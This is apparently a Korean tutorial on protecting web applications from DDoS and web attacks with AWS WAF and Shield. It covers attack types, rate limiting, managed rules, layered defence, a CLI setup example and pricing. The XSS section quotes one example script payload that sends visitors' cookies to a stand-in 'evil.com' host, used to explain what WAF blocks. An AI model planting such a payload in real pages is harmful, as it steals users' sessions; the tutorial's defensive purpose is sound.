AWS WAF와 Shield: 웹 애플리케이션을 DDoS에서 지키는 법

들어가며: GitHub를 멈춘 1.35 Tbps의 공격

2018년 2월 28일, 세계 최대의 코드 저장소 GitHub가 갑자기 멈췄다.

원인은 1.35 Tbps(테라비트/초)의 DDoS 공격이었다. 초당 1.35테라비트 — DVD 한 장 분량의 데이터가 0.03초마다 GitHub 서버로 쏟아진 셈이다. 이것은 당시 기록된 역대 최대 규모의 DDoS 공격이었다.

공격자는 인증 없이 열린 Memcached 서버를 악용했다. 작은 요청을 보내면 50,000배 이상 증폭된 응답이 피해자에게 돌아가는 구조 — "Memcached Amplification Attack"이다. GitHub는 10분 만에 Akamai로 트래픽을 우회시켜 복구했지만, 그 10분간 전 세계 개발자가 코드를 push/pull 할 수 없었다.

이 사건의 교훈 — 아무리 거대한 서비스도 DDoS 앞에서는 무력하다. 오늘 다루는 AWS WAF와 Shield는 이런 공격으로부터 웹 애플리케이션을 보호하기 위한 AWS 서비스다.

1. DDoS 공격이란 무엇인가

DDoS(Distributed Denial of Service) — 수많은 컴퓨터가 동시에 하나의 서버에 요청을 보내, 정상 사용자가 접속할 수 없게 만드는 공격이다. 카페 좌석 50개에 500명의 알바를 보내 진짜 손님이 못 들어오게 하는 것과 같다.

DDoS 공격은 크게 세 가지 유형으로 나뉜다.

1.1 볼류메트릭 공격 (Volumetric Attack)

가장 직관적인 유형. 서버의 네트워크 대역폭 자체를 압도한다.

1.2 프로토콜 공격 (Protocol Attack)

네트워크 프로토콜의 약점을 이용한다.

• SYN Flood: TCP 3-way handshake를 악용. SYN 패킷만 보내고 ACK를 안 하면, 서버에 "반쪽짜리 연결"이 쌓여 새 연결을 받을 수 없게 된다.
• Ping of Death: 비정상적으로 큰 ICMP 패킷으로 시스템을 크래시.
• Smurf Attack: 브로드캐스트 주소로 ICMP 요청을 보내, 네트워크 전체의 응답이 피해자에게 집중.

프로토콜 공격은 Layer 3/4에서 발생하며, 서버의 연결 상태 테이블을 소진시키는 게 목표다.

1.3 애플리케이션 레이어 공격 (Application Layer Attack)

가장 교활한 유형이다. 정상적인 HTTP 요청처럼 보이기 때문에 탐지가 어렵다.

애플리케이션 레이어 공격은 Layer 7(HTTP/HTTPS)에서 발생한다. 이것을 막는 것이 바로 WAF의 역할이다.

정리하면 — 볼류메트릭과 프로토콜 공격(L3/4)은 Shield가, 애플리케이션 공격(L7)은 WAF가 담당한다.

2. WAF (Web Application Firewall): Layer 7의 수문장

WAF란 무엇인가

WAF(Web Application Firewall)는 웹 애플리케이션 앞에 놓이는 Layer 7 방화벽이다.

일반 방화벽(Security Group, NACL 등)이 IP 주소와 포트 번호를 보고 트래픽을 허용/차단한다면, WAF는 HTTP 요청의 내용 자체를 분석한다.

WAF는 HTTP 요청의 URL 경로, 쿼리 스트링, 헤더(User-Agent, Cookie 등), 바디(폼/JSON), 요청 빈도를 모두 분석한다.

WAF가 검사 후 내리는 판단은 세 가지다:

AWS WAF를 붙일 수 있는 곳

AWS WAF는 단독으로 작동하지 않는다. CloudFront, ALB, API Gateway, AppSync, Cognito, App Runner 등에 연결해서 사용한다. 가장 흔한 조합은 CloudFront + WAF(글로벌 엣지에서 검사) 또는 ALB + WAF(리전 내 검사)다.

3. WAF 규칙: 무엇을 어떻게 막을 수 있나

WAF의 핵심은 규칙(Rule)이다. 규칙은 "이런 요청이 오면 이렇게 해라"는 조건-행동 쌍이다.

3.1 IP 기반 차단

가장 단순한 규칙. 특정 IP 주소나 IP 범위를 차단한다.

활용 사례: 알려진 공격 IP 차단, 특정 국가 차단(Geo-matching과 결합), 내부망만 접근 허용

3.2 Rate Limiting (속도 제한)

같은 IP에서 너무 많은 요청이 오면 차단한다. HTTP Flood 공격의 1차 방어선이다.

# WAF Rate-based Rule 개념 (의사코드)
rule = {
    "name": "rate-limit-per-ip",
    "type": "RATE_BASED",
    "rate_limit": 2000,           # 5분간 최대 2,000건
    "scope": "IP",
    "action": "BLOCK"             # 초과 시 차단
}

Rate-based Rule은 5분 윈도우 기준이다. rate_limit: 2000이면 같은 IP에서 5분간 2,000건 초과 시 차단(~6.7 req/s). 빈도가 떨어지면 자동 해제된다.

3.3 SQL Injection 방어

웹 보안의 "영원한 클래식". SQL Injection은 사용자 입력에 SQL 코드를 삽입하여 데이터베이스를 조작하는 공격이다.

AWS WAF는 SQLi detection이 내장되어 있으며, AWS 자체 SQL 파싱 엔진으로 URL 인코딩, 유니코드 등 우회 기법까지 탐지한다.

3.4 XSS (Cross-Site Scripting) 방어

XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입하는 공격이다. 예를 들어 댓글에 <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>를 입력하면, 이를 본 다른 사용자의 쿠키가 탈취된다. WAF의 XSS detection 규칙은 <script>, javascript:, onerror= 같은 패턴을 탐지하여 차단한다.

3.5 그 외 커스텀 규칙

Geo-matching(국가별 차단), String matching(특정 문자열 탐지), Regex matching(정규식 패턴), Size constraint(요청 크기 제한), Label matching(다른 규칙이 부여한 레이블 기준 필터) 등을 조합할 수 있다.

규칙은 최대 1,500 WCU(Web ACL Capacity Unit)까지 하나의 Web ACL에 담을 수 있다. 단순 IP 차단은 1 WCU, 복잡한 정규식은 25 WCU.

4. AWS Managed Rules: AWS가 만들어놓은 규칙 세트

규칙을 처음부터 직접 만드는 건 어렵다. SQL Injection 패턴만 해도 수백 가지 변형이 있다. 그래서 AWS는 Managed Rule Group을 제공한다.

OWASP Top 10 대응: Core Rule Set

AWS Managed Rules - Core Rule Set (CRS)는 가장 기본이 되는 규칙 세트다. OWASP Top 10에 대응하는 규칙이 포함되어 있다.

WAF는 만능이 아니다. A02(암호화), A04(설계), A09(로깅)은 애플리케이션과 인프라에서 해결해야 한다. WAF는 "네트워크를 통해 들어오는 악성 요청"을 막는 도구다.

주요 AWS Managed Rule Groups

Bot Control 자세히 보기

모든 봇이 나쁜 건 아니다. Googlebot(검색 인덱싱)은 좋은 봇이고, 스크래퍼나 재고 확인 봇은 나쁜 봇이다. Bot Control은 봇을 카테고리별로 분류하여 Googlebot은 ALLOW, 스크래퍼는 BLOCK, 미확인 봇은 CAPTCHA로 처리할 수 있다. Targeted 등급은 브라우저 핑거프린팅과 행동 분석으로 정교한 봇까지 탐지하지만 비용이 더 든다.

5. Shield Standard vs Shield Advanced

AWS Shield는 DDoS 보호 전용 서비스다. 두 가지 등급이 있다.

Shield Standard (무료)

모든 AWS 계정에 자동 활성화. Layer 3/4 공격(SYN Flood, UDP Flood) 자동 탐지·완화, CloudFront와 Route 53에 자동 적용. 대부분의 일반 공격은 이것으로 충분하다.

Shield Advanced (유료)

Shield Advanced의 핵심 기능 세 가지:

1. DDoS 비용 보호: DDoS로 트래픽이 폭증하면 CloudFront/ALB/EC2 비용도 폭증한다. Shield Advanced는 DDoS로 인한 추가 비용을 크레딧으로 환불해준다.
2. SRT(Shield Response Team): AWS DDoS 전문가가 24/7 대기. 사전에 권한을 부여하면 자동으로 WAF 규칙을 생성하여 공격을 완화한다.
3. Layer 7 자동 완화: 정상 트래픽 패턴(baseline)을 학습하고, 비정상 패턴 감지 시 자동으로 WAF 규칙을 생성·적용한다.

언제 Shield Advanced가 필요한가?

6. 다중 방어: Shield + CloudFront + Route 53

하나의 방어선이 뚫려도 다음 방어선이 있어야 한다 — Defense in Depth(심층 방어). AWS에서 구현하는 아키텍처를 보자.

각 계층의 역할

Route 53 (DNS 계층): Anycast 라우팅(전 세계 DNS 서버가 같은 IP 공유, 트래픽 자동 분산)과 Shuffle Sharding(도메인별 고유 네임서버 조합)으로 DNS DDoS를 방어한다. Shield Standard가 자동 적용되어 있으므로 별도 설정이 필요 없다.

CloudFront + WAF (엣지 계층): CloudFront는 전 세계 600개 이상의 PoP에서 콘텐츠를 서빙한다. WAF 규칙이 엣지에서 실행되므로 차단된 요청은 오리진까지 가지 않고, 캐시 히트된 정적 콘텐츠는 DDoS 중에도 정상 서빙된다. 600개 PoP가 트래픽을 분산 흡수하는 효과도 크다.

ALB + Security Group (VPC 계층): 마지막 방어선. ALB의 Security Group을 CloudFront IP 범위만 허용하도록 설정하면 CloudFront 우회 접근을 차단할 수 있다. AWS는 CloudFront IP 변경 시 SNS 알림을 제공하며, Lambda로 Security Group을 자동 업데이트하는 패턴이 일반적이다.

7. 실전 구성: ALB에 WAF 규칙 붙이기

이론은 충분하다. 실제로 ALB에 WAF를 붙이는 과정을 단계별로 살펴보자.

ALB 뒤에서 동작하는 웹앱에 SQLi/XSS 방어, 봇 차단, Rate Limiting을 적용하는 과정이다.

Step 1: Web ACL 생성

Web ACL(Access Control List)은 WAF 규칙의 컨테이너다.

Step 2: 규칙 구성 (AWS CLI 예시)

실무에서는 콘솔보다 CLI나 IaC(CloudFormation, Terraform)로 관리한다.

# 1) Web ACL 생성 (기본 행동: Allow, Managed Rule + Rate Limit 포함)
aws wafv2 create-web-acl \
  --name my-app-waf \
  --scope REGIONAL \
  --default-action Allow={} \
  --rules '[
    {
      "Name": "AWS-CRS",
      "Priority": 1,
      "OverrideAction": {"None": {}},
      "Statement": {
        "ManagedRuleGroupStatement": {
          "VendorName": "AWS",
          "Name": "AWSManagedRulesCommonRuleSet"
        }
      },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "AWS-CRS"
      }
    },
    {
      "Name": "RateLimit",
      "Priority": 2,
      "Action": {"Block": {}},
      "Statement": {
        "RateBasedStatement": {"Limit": 2000, "AggregateKeyType": "IP"}
      },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "RateLimit"
      }
    }
  ]' \
  --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=my-app-waf

# 2) Web ACL을 ALB에 연결
aws wafv2 associate-web-acl \
  --web-acl-arn arn:aws:wafv2:ap-northeast-2:123456789:regional/webacl/my-app-waf/... \
  --resource-arn arn:aws:elasticloadbalancing:ap-northeast-2:123456789:loadbalancer/app/my-alb/...

Step 3: COUNT 모드로 테스트

WAF 규칙을 처음 배포할 때 절대 바로 BLOCK 모드로 넣지 마라. 정상 트래픽이 차단될 수 있다(False Positive).

예를 들어, CRS의 SizeRestrictions_BODY 규칙이 파일 업로드 API를 차단할 수 있다. 해당 URI(/api/upload)만 Scope-Down Statement로 예외 처리한다.

8. 비용: WAF와 Shield는 얼마인가

클라우드 보안의 현실 — 비용을 모르면 의사결정을 할 수 없다.

AWS WAF 비용 구조

WAF의 비용은 세 가지 요소로 구성된다:

비용 계산 예시: Web ACL 1개($5) + Managed Rule 3개($3) + 커스텀 Rule 2개($2) + 월 1,000만 요청($6) = **월 $16(약 22,000원)**. 웹 보안 솔루션치고 매우 저렴하다. 다만 트래픽이 커지면 요청 비용이 급증한다 — 월 10억 건이면 요청 비용만$600.

Bot Control 추가 비용

Bot Control Common은 $1.00/100만 건**, Targeted는 **$10.00/100만 건이다. 이커머스나 티켓 사이트가 아니라면 Common으로 충분하다.

Shield Advanced 비용

**$3,000/월**(1년 약정) + 데이터 전송 비용. WAF 기본 비용은 포함.$3,000/월은 부담이지만, 대규모 공격 한 번에 수만 달러의 비용이 발생하는 것보다 낫다. AWS Organizations를 쓰면 여러 계정이 하나의 구독을 공유할 수 있다.

9. WAF vs Security Group vs NACL: 방어 계층의 차이

AWS의 트래픽 제어 도구들 — 핵심은 OSI 계층과 적용 범위의 차이다.

조합 전략

이 세 가지는 경쟁이 아니라 보완 관계다. 동시에 사용하는 것이 올바른 접근이다.

흔한 실수 두 가지: (1) Security Group만으로 웹 공격을 막으려는 것 — SG는 IP/포트만 보므로 SQLi는 차단 불가, WAF가 필수. (2) WAF만 믿고 Security Group을 방치 — 공격자가 EC2 퍼블릭 IP로 직접 접근하면 WAF를 우회. 정답은 모든 계층을 함께 사용하는 심층 방어(Defense in Depth)다.

10. 실무 팁: WAF 운영 핵심

False Positive 관리

WAF 운영의 가장 큰 과제는 False Positive(정상 요청을 공격으로 오인)이다. JSON API의 정상 쿼리가 SQLi로 탐지되거나, CMS의 코드 예제가 XSS로 탐지되는 사례가 흔하다.

해결 방법: Scope-Down Statement(특정 URI에서 규칙 비활성화), Label + Custom Rule(Managed Rule을 COUNT 모드로 전환 후 추가 조건 필터링), 정규식 예외(특정 User-Agent 제외).

로깅은 필수

WAF 로그 없이 WAF를 운영하는 것은, CCTV 녹화 없이 감시 카메라를 설치하는 것과 같다. S3(aws-waf-logs- 프리픽스 필수), CloudWatch Logs, Kinesis Firehose로 전송하고, Athena나 CloudWatch Insights로 분석한다.

비용 최적화

• CloudFront 캐시를 최대한 활용 — 캐시 히트 요청은 오리진까지 가지 않아 비용 절감
• Rate Limiting으로 봇 먼저 차단 — Bot Control보다 Rate-based Rule이 훨씬 저렴
• Scope-Down Statement로 민감한 경로에만 적용 — /api/, /admin/ 등 필요한 곳만 검사

마치며: 보안은 한 번이 아니라 계속이다

이 글에서 다룬 내용을 정리하면:

2018년 GitHub는 10분 만에 복구됐다. 사전에 DDoS 완화 서비스를 계약해두었기 때문이다. 대비 없이는 불가능했을 일이다.

가장 위험한 생각은 "우리는 작아서 공격 안 받을 거야"다. 봇은 IP를 무차별 스캔하고 규모 무관하게 공격한다. WAF는 월 $16부터 시작할 수 있다. 중요한 것은 지금 시작하는 것이다.

보안은 완벽함이 아니라, 공격자의 비용을 올리는 게임이다. 방어 계층 하나가 늘어날 때마다 공격자의 시간과 비용이 올라가고, 대부분의 공격자는 더 쉬운 타겟으로 옮겨간다.